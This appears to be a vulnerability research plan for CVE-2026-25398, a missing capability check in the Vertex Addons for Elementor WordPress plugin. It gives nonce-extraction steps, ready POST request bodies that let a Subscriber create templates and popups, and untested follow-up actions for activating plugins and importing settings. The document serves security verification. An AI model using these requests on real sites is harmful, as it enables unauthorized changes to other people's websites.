Research Plan: Missing Authorization in Vertex Addons for Elementor (CVE-2026-25398)

1. Vulnerability Summary

The Vertex Addons for Elementor plugin (up to 1.6.4) is vulnerable to missing authorization. Specifically, the functions create_template and create_popup in the AFEB\Ajax class fail to perform capability checks (e.g., current_user_can('edit_posts')).

While these functions verify a WordPress nonce (afeb_ajax_nonce), this nonce is enqueued in the WordPress admin dashboard for all logged-in users, including those with Subscriber roles. Consequently, a Subscriber can create arbitrary Elementor templates and popups, leading to unauthorized data modification (Integrity: Low).

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: afeb_create_template or afeb_create_popup
• Authentication: Authenticated (Subscriber-level or higher).
• Vulnerable Parameters:
  • data[type] (Template type: header, footer, single, archive, or dynamic-loop-item)
  • data[name] (Post title)
• Preconditions: The attacker must be logged in to WordPress to obtain the valid admin nonce.

3. Code Flow

1. Hook Registration: app/afeb.php initializes the AFEB\Ajax class via (new Ajax())->init().
2. Action Mapping: app/Ajax.php in actions() registers the AJAX handlers:

   add_action('wp_ajax_afeb_create_template', [$this, 'create_template']);
   add_action('wp_ajax_afeb_create_popup', [$this, 'create_popup']);
   

3. Trigger: An authenticated user sends a POST request with action=afeb_create_template.
4. Vulnerable Function: Ajax::create_template() is called:
   • It verifies the nonce: check_ajax_referer('afeb_ajax_nonce', 'nonce');
   • It fails to check user capabilities.
   • It calls wp_insert_post() to create a post of type AFEB\PostTypes\Builder::BUILDER_POST_TYPE.
   • It updates post meta using update_post_meta($id, '_afeb_document_type', $type);.

4. Nonce Acquisition Strategy

The nonce is localized for the WordPress admin backend. Any logged-in user can access /wp-admin/profile.php, where the plugin's backend scripts are enqueued.

1. Navigate: Use the browser to go to /wp-admin/profile.php.
2. Find Script: The app/Assets.php file registers afeb-backend-script. The nonce is likely part of a localized object.
3. Extract: Use browser_eval to find the nonce. The object name is likely afeb_backend_params or afeb_params (based on naming conventions in Assets.php).
   • browser_eval("window.afeb_backend_params?.nonce")
   • Alternatively, search the HTML source for the string "afeb_ajax_nonce".

5. Exploitation Strategy

Create an Elementor Template

• Method: POST
• URL: http://TARGET/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=afeb_create_template&nonce=[EXTRACTED_NONCE]&data[type]=header&data[name]=VulnerablePost
  

Create an Elementor Popup

• Method: POST
• URL: http://TARGET/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=afeb_create_popup&nonce=[EXTRACTED_NONCE]&data[name]=VulnerablePopup
  

6. Test Data Setup

1. Target Version: Ensure plugin version 1.6.4 is installed and active.
2. User Creation: Create a user with the subscriber role.
   • wp user create attacker attacker@example.com --role=subscriber --user_pass=password
3. Dependencies: Ensure Elementor is installed and active, as the plugin requires it to initialize the AJAX class.

7. Expected Results

• The server should respond with a JSON success message: {"success":true,"data":{"redirect":"...","message":"The new template has been created"}}.
• A new post should be created in the database.

8. Verification Steps

1. Check Posts: Use WP-CLI to check for the newly created post type.
   • For templates: wp post list --post_type=afeb_builder --field=post_title (Note: afeb_builder is the inferred slug for Builder::BUILDER_POST_TYPE).
   • For popups: wp post list --post_type=afeb_popup --field=post_title (Note: afeb_popup is the inferred slug for Popup::POPUP_POST_TYPE).
2. Verify Meta: Confirm the template type was set correctly.
   • wp post meta list [NEW_POST_ID]

9. Alternative Approaches

If afeb_create_template fails due to strict post-type checks, attempt afeb_activate_required_plugins or afeb_import_settings which are also registered in Ajax::actions() and appear to lack capability checks.

• Import Settings Exploit:

  action=afeb_import_settings&nonce=[NONCE]&data=[BASE64_SETTINGS]
  

• Required Plugins Exploit:

  action=afeb_activate_required_plugins&nonce=[NONCE]&data[slug]=any-plugin-slug